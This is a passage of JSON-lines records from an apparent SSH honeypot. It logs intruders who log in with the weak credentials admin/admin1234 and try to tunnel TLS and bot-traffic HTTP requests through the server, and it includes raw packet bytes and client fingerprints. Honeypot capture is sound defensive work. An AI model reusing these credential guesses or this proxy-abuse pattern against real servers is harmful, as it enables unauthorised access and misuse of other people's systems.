\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xbbP#l\\x15n\\x0f\\xd3z\\x85\\x1a\\x98\\xf8&\\x8f\\xa2\\xb1\\x9d\\x9b\\x0bC\\xe8\\xa6\\x81\\xa9j\\xd1\\xd5\\x03\\x95\\x8f jU\\xd4\\xb4\\x80\\x8c\\x83M\\xa9\\xc6\\x9d\\xa9\\x950\\x80\\x8a\\x9dP\\x19\\xa5\\xc2\\x92\\xe7\\xe6\\xfd\\xaby\\x9cNa\\xda$\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13>w\\x81T3l\\x1d\\xc5\\xb8%\\xa0\\xe9\\xae\\x84(\\xa5\\x92\\xdeJe\\x08\\x9a\\x9dv\\xd7\\x95\\x93\\xeatLw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.472485Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.510947Z","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.580756Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x99\\x9c\\xc1\\xbb\\xde\\xb6\\x84p\\x86\\xee\\xa0\\x8a\\xc8T7\\xfdE\\xc9\\x1b\\xdd\\xb7\\xbd\\xf7~n\\xd9\\x9c)\\xabr\\xf5 \\xb7\\x99\\x85\\xde\\xbf\\x95\\xcd\\x9e\\xab\\x06\\xe2F\\xcdO=\\x1a\\x9a\\x1a\\xa2\\xb8\\xbf\"\\x04\\x17\\xbe\\xcd(C\\xc5\\xf8\\x13W\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xc2\\xf6\\xf5\\x15#7@=#\\x9eUc\\x0e\\x0b\\x86\\x8b\\xbbUX\\x9f\\xdd&\\x84u\\xc0\\xa0\\xea\\x1c\\x9a\\xa3<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x99\\x9c\\xc1\\xbb\\xde\\xb6\\x84p\\x86\\xee\\xa0\\x8a\\xc8T7\\xfdE\\xc9\\x1b\\xdd\\xb7\\xbd\\xf7~n\\xd9\\x9c)\\xabr\\xf5 \\xb7\\x99\\x85\\xde\\xbf\\x95\\xcd\\x9e\\xab\\x06\\xe2F\\xcdO=\\x1a\\x9a\\x1a\\xa2\\xb8\\xbf\"\\x04\\x17\\xbe\\xcd(C\\xc5\\xf8\\x13W\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xc2\\xf6\\xf5\\x15#7@=#\\x9eUc\\x0e\\x0b\\x86\\x8b\\xbbUX\\x9f\\xdd&\\x84u\\xc0\\xa0\\xea\\x1c\\x9a\\xa3<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.583730Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:20.307828Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54111,"dst_ip":"10.17.0.5","dst_port":22,"session":"005345f2b6f1","protocol":"ssh","message":"New connection: 123.27.168.40:54111 (10.17.0.5:22) [session: 005345f2b6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:45.487545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:45.492085Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:45.745782Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:46.875767Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.279461Z","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.397399Z","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.835261Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; T96 MARS Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZVd7I0ptKSozR3tYSkZBKg%3D%3DiW3sJ7XQQr97YqpaASKMGNUWAx09QtJUS8D%2F25gIz%2F8Gj23ELcgIXSQmeYR74tuS1byh6f1h6GNTP5yFEMhpWUDgpdgInP3YRw%2BbjJHDWmzcN5N70poBwfiC0uK%2B%2B%2F%2F7FaOVltyMKUmqXL5l5MlARscqV3gDGcH7aTmJRC0mROYMAOJifUj4EIajPacyUdO8DoTZyCRImwHBvKph68pKYqEDA6%2BNeuXY5LpEQrJ%2FbFfDX4xDZjHtOCDP8WN6jHrXIIS3KeII2PptixOXr%2BpR%2FM77%2BGT6ysEdIW%2BKXf7MRQEb1cT4h6OX9wy2uQIWkHXRSvMZOKDyFX3kXr21bs0mor8YBXdzzvi1YnY4pi2qOHtY0SDOHzayWRZr%2FWpX2WKlrDLCiMF9VgutnlJgRmBDnyGiq474Pdu4kXGxbgmHxQMz4p4GWqCxpDVSjOmlZC1%2FHZjFVVwagTmOH5PjAE11HIwcCrcSEk%2Brxv7Yj7sXgmZLxWfiB9G8BkR6r%2BxJF533ToTj0RGpfQFd7RazK5MJqw67TL622moajNQnphwYP2Y2UQ2XOSQVLEJJKv9n0uBzCHPTZICz9XtF%2FcEg1xMrjNp2fAyZlb0RoiR4MM9TApO0Bp6NMBjx%2FtBbzsFyWgmeixvxj98hkRhEM6IPckpSeU%2FFwuM1UmAgZ2JdrCtxJQjacgzRc6pL5oxdLKApUsAOGCgydWmreI6XR7wi0aPiSgoiY%2BPwsybXgQturiqp38RSFwCTflmTaDq%2FFbnGUyLuH0NOyde6EMGP6yZrNTVy4%2FdFeXHvVvY8CT42WxpfwEjszXW2sAGjkeIGdkSzumTGzWrfacLNK1rsC4%2Fugx3IC1kHif%2B4yoMRTh5c1fDEDmNX2Ur6XCo5UklVXAvwcQKiyPV%2BfS1R8OPy%2BaU%2FjUHJvb875qlBaSQ6M7kVO2J2K6sWE2uv%2Bq%2FiJumPhkTw%2FuNQqG0f%2B808uQ800clhDc%2FN1AjdN98jldbywjnvvIg%2FP1keXLJP9ZmAc8P4iuIhmZ%2FP8RJz%2BqNpxunQoxB8a1romBDBFXqKoF6hLc840HKMRcVRiMjlPPqwjDlarHvtdQb4'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; T96 MARS Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZVd7I0ptKSozR3tYSkZBKg%3D%3DiW3sJ7XQQr97YqpaASKMGNUWAx09QtJUS8D%2F25gIz%2F8Gj23ELcgIXSQmeYR74tuS1byh6f1h6GNTP5yFEMhpWUDgpdgInP3YRw%2BbjJHDWmzcN5N70poBwfiC0uK%2B%2B%2F%2F7FaOVltyMKUmqXL5l5MlARscqV3gDGcH7aTmJRC0mROYMAOJifUj4EIajPacyUdO8DoTZyCRImwHBvKph68pKYqEDA6%2BNeuXY5LpEQrJ%2FbFfDX4xDZjHtOCDP8WN6jHrXIIS3KeII2PptixOXr%2BpR%2FM77%2BGT6ysEdIW%2BKXf7MRQEb1cT4h6OX9wy2uQIWkHXRSvMZOKDyFX3kXr21bs0mor8YBXdzzvi1YnY4pi2qOHtY0SDOHzayWRZr%2FWpX2WKlrDLCiMF9VgutnlJgRmBDnyGiq474Pdu4kXGxbgmHxQMz4p4GWqCxpDVSjOmlZC1%2FHZjFVVwagTmOH5PjAE11HIwcCrcSEk%2Brxv7Yj7sXgmZLxWfiB9G8BkR6r%2BxJF533ToTj0RGpfQFd7RazK5MJqw67TL622moajNQnphwYP2Y2UQ2XOSQVLEJJKv9n0uBzCHPTZICz9XtF%2FcEg1xMrjNp2fAyZlb0RoiR4MM9TApO0Bp6NMBjx%2FtBbzsFyWgmeixvxj98hkRhEM6IPckpSeU%2FFwuM1UmAgZ2JdrCtxJQjacgzRc6pL5oxdLKApUsAOGCgydWmreI6XR7wi0aPiSgoiY%2BPwsybXgQturiqp38RSFwCTflmTaDq%2FFbnGUyLuH0NOyde6EMGP6yZrNTVy4%2FdFeXHvVvY8CT42WxpfwEjszXW2sAGjkeIGdkSzumTGzWrfacLNK1rsC4%2Fugx3IC1kHif%2B4yoMRTh5c1fDEDmNX2Ur6XCo5UklVXAvwcQKiyPV%2BfS1R8OPy%2BaU%2FjUHJvb875qlBaSQ6M7kVO2J2K6sWE2uv%2Bq%2FiJumPhkTw%2FuNQqG0f%2B808uQ800clhDc%2FN1AjdN98jldbywjnvvIg%2FP1keXLJP9ZmAc8P4iuIhmZ%2FP8RJz%2BqNpxunQoxB8a1romBDBFXqKoF6hLc840HKMRcVRiMjlPPqwjDlarHvtdQb4'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.842388Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.848806Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\x9e7=\\xbaW.bxL\\x02R\\xa1\\xb8\\x1dl\\x9c\\x1b6\\x9d\\x97b*\\x84!\\x16d\\xb8\\xe9\\xe3x\\xc3 S\\xbb\\xa4\\xac\\xc4\\xfeQ\\x932+K\\x1e\\tC(\\xe2\\x9eU\\x04\\xc7\\xfc;\\xb0\\xeb\\x8c3v\\xd4\\x88\\xc7\\x1c\\xd3\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x86\"\\xb6\\xd9\\x95?\\x0f\\x82\\xbc\\x95\\xe5uu\\x12|\\xac0\\x9e\\x13\\x10\\xeaV\\xcb\\x0fK\\xd5\\xf5\\x94\\xdbO\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\x9e7=\\xbaW.bxL\\x02R\\xa1\\xb8\\x1dl\\x9c\\x1b6\\x9d\\x97b*\\x84!\\x16d\\xb8\\xe9\\xe3x\\xc3 S\\xbb\\xa4\\xac\\xc4\\xfeQ\\x932+K\\x1e\\tC(\\xe2\\x9eU\\x04\\xc7\\xfc;\\xb0\\xeb\\x8c3v\\xd4\\x88\\xc7\\x1c\\xd3\\x00 